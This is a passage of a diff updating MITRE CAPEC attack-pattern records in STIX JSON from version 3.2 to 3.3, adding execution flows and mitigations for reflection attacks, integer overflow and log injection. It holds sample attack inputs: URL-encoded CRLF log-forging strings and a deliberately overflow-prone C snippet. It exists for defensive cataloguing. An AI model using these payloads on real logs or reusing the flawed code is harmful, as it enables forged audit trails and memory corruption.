", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--eb3c859f-41ee-430e-8803-f17c655faf17", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-9-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as buffer overflow.", - "type": "course-of-action", - "id": "course-of-action--eb3c859f-41ee-430e-8803-f17c655faf17" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--13bbe611-6800-4010-ae1b-33b6e818ee74", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--13bbe611-6800-4010-ae1b-33b6e818ee74", "source_ref": "course-of-action--eb3c859f-41ee-430e-8803-f17c655faf17", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "relationship--0353216d-6356-4c9b-b2ab-5bbc23ae082a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0353216d-6356-4c9b-b2ab-5bbc23ae082a", "source_ref": "course-of-action--a253c485-f225-4dd3-b0ba-dbe4b29fa134", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "relationship--206efa47-ea89-4b09-8d45-dc1df1ea72bc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--206efa47-ea89-4b09-8d45-dc1df1ea72bc", "source_ref": "course-of-action--286c9aaa-2118-48dc-bce6-6e3f41adc043", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "relationship--b8ab5adf-0b4b-45fd-b053-fad9c99c3106", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b8ab5adf-0b4b-45fd-b053-fad9c99c3106", "source_ref": "course-of-action--115171ef-9f32-43b6-bb8a-49f0a78286e9", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "relationship--bb0be5c1-63ea-4146-aec0-793d0f1c8c28", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bb0be5c1-63ea-4146-aec0-793d0f1c8c28", "source_ref": "course-of-action--d9bfea83-be0c-47f2-99c5-56b5812d013b", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "course-of-action--b576d060-1be3-4588-bdd8-a2b1a4f167ef", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-9-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Apply the latest patches to your user exposed services. This may not be a complete solution, especially against a zero day attack.", - "type": "course-of-action", - "id": "course-of-action--b576d060-1be3-4588-bdd8-a2b1a4f167ef" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2dd4206b-b25d-4696-8b9c-de2639f1bb97", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2dd4206b-b25d-4696-8b9c-de2639f1bb97", "source_ref": "course-of-action--b576d060-1be3-4588-bdd8-a2b1a4f167ef", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "course-of-action--a89aebb1-811d-46e0-b3da-a76bf0ebceda", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-9-6", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not unnecessarily expose services.", - "type": "course-of-action", - "id": "course-of-action--a89aebb1-811d-46e0-b3da-a76bf0ebceda" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--811c10ed-2d65-4f4d-87e7-31665c01f9bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--811c10ed-2d65-4f4d-87e7-31665c01f9bb", "source_ref": "course-of-action--a89aebb1-811d-46e0-b3da-a76bf0ebceda", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33" }, { + "id": "attack-pattern--229804f0-b017-4a26-937b-159da866bf9a", "name": "Reflection Attack in Authentication Protocol", "description": "An attacker can abuse an authentication protocol susceptible to reflection attack in order to defeat it. Doing so allows the attacker illegitimate access to the target system, without possessing the requisite credentials. Reflection attacks are of great concern to authentication protocols that rely on a challenge-handshake or similar mechanism. An attacker can impersonate a legitimate user and can gain illegitimate access to the system by successfully mounting a reflection attack during authentication.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -45871,7 +50753,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -45924,87 +50806,94 @@ "x_capec_example_instances": [ "\n A single sign-on solution for a network uses a fixed pre-shared key with its clients to initiate the sign-on process in order to avoid eavesdropping on the initial exchanges.\n An attacker can use a reflection attack to mimic a trusted client on the network to participate in the sign-on exchange.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker opens a connection to the target server and sends it a challenge

  2. The server responds by returning the challenge encrypted with a shared secret as well as its own challenge to the attacker

  3. Since the attacker does not possess the shared secret, they initiate a second connection to the server and sends it, as challenge, the challenge received from the server on the first connection

  4. The server treats this as just another handshake and responds by encrypting the challenge and issuing its own to the attacker

  5. The attacker now receives the encrypted challenge on the second connection and sends it as response to the server on the first connection, thereby successfully completing the handshake and authenticating to the server.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--229804f0-b017-4a26-937b-159da866bf9a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--cf90a75d-b958-4546-b730-3f37189d661d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-90-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "The server must initiate the handshake by issuing the challenge. This ensures that the client has to respond before the exchange can move any further", - "type": "course-of-action", - "id": "course-of-action--cf90a75d-b958-4546-b730-3f37189d661d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4612e9dd-418b-4c42-9d4f-2534fdc5e72c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4612e9dd-418b-4c42-9d4f-2534fdc5e72c", "source_ref": "course-of-action--cf90a75d-b958-4546-b730-3f37189d661d", "relationship_type": "mitigates", "target_ref": "attack-pattern--229804f0-b017-4a26-937b-159da866bf9a" }, { + "id": "course-of-action--0c139321-7054-4d7b-92ff-f021b5ce6fc0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-90-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "The use of HMAC to hash the response from the server can also be used to thwart reflection. The server responds by returning its own challenge as well as hashing the client's challenge, its own challenge and the pre-shared secret. Requiring the client to respond with the HMAC of the two challenges ensures that only the possessor of a valid pre-shared secret can successfully hash in the two values.", - "type": "course-of-action", - "id": "course-of-action--0c139321-7054-4d7b-92ff-f021b5ce6fc0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f7753fcf-92fd-495a-8a64-8a0cb4a47728", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f7753fcf-92fd-495a-8a64-8a0cb4a47728", "source_ref": "course-of-action--0c139321-7054-4d7b-92ff-f021b5ce6fc0", "relationship_type": "mitigates", "target_ref": "attack-pattern--229804f0-b017-4a26-937b-159da866bf9a" }, { + "id": "course-of-action--c7b237fe-4455-4bab-afe5-6c3559b98344", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-90-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Introducing a random nonce with each new connection ensures that the attacker cannot employ two connections to attack the authentication protocol", - "type": "course-of-action", - "id": "course-of-action--c7b237fe-4455-4bab-afe5-6c3559b98344" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c6663135-b6d0-4fb2-adb1-200f7f1e01a7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c6663135-b6d0-4fb2-adb1-200f7f1e01a7", "source_ref": "course-of-action--c7b237fe-4455-4bab-afe5-6c3559b98344", "relationship_type": "mitigates", "target_ref": "attack-pattern--229804f0-b017-4a26-937b-159da866bf9a" }, { + "id": "attack-pattern--78cd63b9-a303-4e6b-8460-0270b0e2510b", "name": "DEPRECATED: XSS in IMG Tags", "description": "This attack pattern has been deprecated as it is contained in the existing attack pattern \"CAPEC-18 : XSS Targeting Non-Script Elements\". Please refer to this other CAPEC going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -46022,11 +50911,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--78cd63b9-a303-4e6b-8460-0270b0e2510b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6", "name": "Forced Integer Overflow", "description": "This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -46034,7 +50923,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -46134,123 +51023,132 @@ "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ "Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value. See also: CVE-2007-1544", - "\n The following code illustrates an integer overflow. The declaration of total integer as \"unsigned short int\" assumes that the length of the first and second arguments fits in such an integer.\n include include include \n int main (int argc, char *const *argv){if (argc !=3){printf(\"Usage: prog_name \\n\");exit(-1);\n }unsigned short int total;total = strlen(argv[1])+strlen(argv[2])+1;char * buff = (char *)malloc(total);strcpy(buff, argv[1]);strcpy(buff, argv[2]);\n }\n [R.92.4], [R.92.5]\n " + "\n The following code illustrates an integer overflow. The declaration of total integer as \"unsigned short int\" assumes that the length of the first and second arguments fits in such an integer.\n include include include \n int main (int argc, char *const *argv){if (argc !=3){printf(\"Usage: prog_name \\n\");exit(-1);\n }unsigned short int total;total = strlen(argv[1])+strlen(argv[2])+1;char * buff = (char *)malloc(total);strcpy(buff, argv[1]);strcpy(buff, argv[2]);\n }\n [REF-547], [REF-548]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The first step is exploratory meaning the attacker looks for an integer variable that they can control.

Experiment

  1. The attacker finds an integer variable that they can write into or manipulate and try to get the value of the integer out of the possible range.

Exploit

  1. The integer variable is forced to have a value out of range which set its final value to an unexpected value.

  2. The target host acts on the data and unexpected behavior may happen.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--a8ed81c8-ed80-43a6-b0a2-c7ead943f317", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a8ed81c8-ed80-43a6-b0a2-c7ead943f317", "source_ref": "course-of-action--a253c485-f225-4dd3-b0ba-dbe4b29fa134", "relationship_type": "mitigates", "target_ref": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6" }, { + "id": "course-of-action--15bb56ee-cdaf-431b-8136-e8cf24a3ca11", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-92-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as integer overflow.", - "type": "course-of-action", - "id": "course-of-action--15bb56ee-cdaf-431b-8136-e8cf24a3ca11" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f3d51c21-4f4c-4136-b351-f5c1b935b7cc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f3d51c21-4f4c-4136-b351-f5c1b935b7cc", "source_ref": "course-of-action--15bb56ee-cdaf-431b-8136-e8cf24a3ca11", "relationship_type": "mitigates", "target_ref": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6" }, { + "id": "relationship--d64dd927-79c3-45ef-948b-e86799536d9d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d64dd927-79c3-45ef-948b-e86799536d9d", "source_ref": "course-of-action--286c9aaa-2118-48dc-bce6-6e3f41adc043", "relationship_type": "mitigates", "target_ref": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6" }, { + "id": "course-of-action--875120c6-9f3e-4fed-88f3-1683f497e905", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-92-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Always do bound checking before consuming user input data.", - "type": "course-of-action", - "id": "course-of-action--875120c6-9f3e-4fed-88f3-1683f497e905" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--94ebd003-5a86-4654-a505-d70213867164", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--94ebd003-5a86-4654-a505-d70213867164", "source_ref": "course-of-action--875120c6-9f3e-4fed-88f3-1683f497e905", "relationship_type": "mitigates", "target_ref": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6" }, { + "id": "course-of-action--977feb22-ec86-4573-8da5-4d043f6dce39", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-92-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "", - "type": "course-of-action", - "id": "course-of-action--977feb22-ec86-4573-8da5-4d043f6dce39" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fd2f54a5-540c-4fc5-b14a-383791ffc311", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fd2f54a5-540c-4fc5-b14a-383791ffc311", "source_ref": "course-of-action--977feb22-ec86-4573-8da5-4d043f6dce39", "relationship_type": "mitigates", "target_ref": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6" }, { + "id": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486", "name": "Log Injection-Tampering-Forging", - "description": "This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.", + "description": "This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -46277,6 +51175,12 @@ "url": "http://cwe.mitre.org/data/definitions/713.html", "external_id": "CWE-713" }, + { + "source_name": "ATTACK", + "description": "Indicator Removal on Host", + "url": "https://attack.mitre.org/wiki/Technique/T1070", + "external_id": "T1070" + }, { "source_name": "reference_from_CAPEC", "description": "J. Viega, G. McGraw, Building Secure Software, 2002, Addison-Wesley", @@ -46321,32 +51225,34 @@ "Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201", "\n If a user submits the string \"twenty-one\" for val, the following entry is logged:\n INFO: Failed to parse val=twenty-one\n However, if an attacker submits the string\n twenty-one%0a%0aINFO:+User+logged+out%3dbadguy\n the following entry is logged:\n INFO: Failed to parse val=twenty-oneINFO: User logged out=badguy\n Clearly, attackers can use this same mechanism to insert arbitrary log entries.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Application's Log File Format: The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.

    2. Techniques
    Determine logging utility being used by application (e.g. log4j)
    Gain access to application's source code to determine log file formats.
    Install or obtain access to instance of application and observe its log file format.

Exploit

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

    2. Techniques
    \n Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:\n \"%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in\"\n may add the following forged entry into a log file:\n \"[Thu Nov 12 12:11:22]:Info: User admin logged in\"\n Different applications may require different encodings of the carriage return and line feed characters.\n
    \n Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain\n \n The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).\n
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0f8223ee-d815-41b0-8f0f-a9b23de56d8b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-93-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Carefully control access to physical log files.", - "type": "course-of-action", - "id": "course-of-action--0f8223ee-d815-41b0-8f0f-a9b23de56d8b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--902d0a46-bb02-4c00-9c12-63139df6d6ca", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--902d0a46-bb02-4c00-9c12-63139df6d6ca", "source_ref": "course-of-action--0f8223ee-d815-41b0-8f0f-a9b23de56d8b", "relationship_type": "mitigates", "target_ref": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486" @@ -46354,100 +51260,108 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-93-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data.", + "description": "Do not allow tainted data to be written in the log file without prior input validation. An allowlist may be used to properly validate the data.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--0721734d-ee67-4fa3-8855-308251cf5968" + "id": "course-of-action--89cb136b-4f28-4cf2-a399-ea0e5451cdd1" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ab3a11e0-a771-49da-8274-5b288c05d4fd", - "source_ref": "course-of-action--0721734d-ee67-4fa3-8855-308251cf5968", + "id": "relationship--87217e96-f97b-4c88-8e77-1ff3c6f211f9", + "source_ref": "course-of-action--89cb136b-4f28-4cf2-a399-ea0e5451cdd1", "relationship_type": "mitigates", "target_ref": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486" }, { + "id": "relationship--d1004a1b-30e7-4057-b6bd-640ad3d2d21c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d1004a1b-30e7-4057-b6bd-640ad3d2d21c", "source_ref": "course-of-action--08e36a84-cc88-49b9-81f6-7dab06d12023", "relationship_type": "mitigates", "target_ref": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486" }, { + "id": "course-of-action--4e06b58a-2a51-45d2-84ef-bedcbb654515", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-93-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use static analysis tools to identify log forging vulnerabilities.", - "type": "course-of-action", - "id": "course-of-action--4e06b58a-2a51-45d2-84ef-bedcbb654515" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--65f16c8f-4535-4431-928b-ab9c8d336a93", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--65f16c8f-4535-4431-928b-ab9c8d336a93", "source_ref": "course-of-action--4e06b58a-2a51-45d2-84ef-bedcbb654515", "relationship_type": "mitigates", "target_ref": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486" }, { + "id": "course-of-action--7e6b79fb-dad6-48d5-8cf7-178e70577c8a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-93-4", 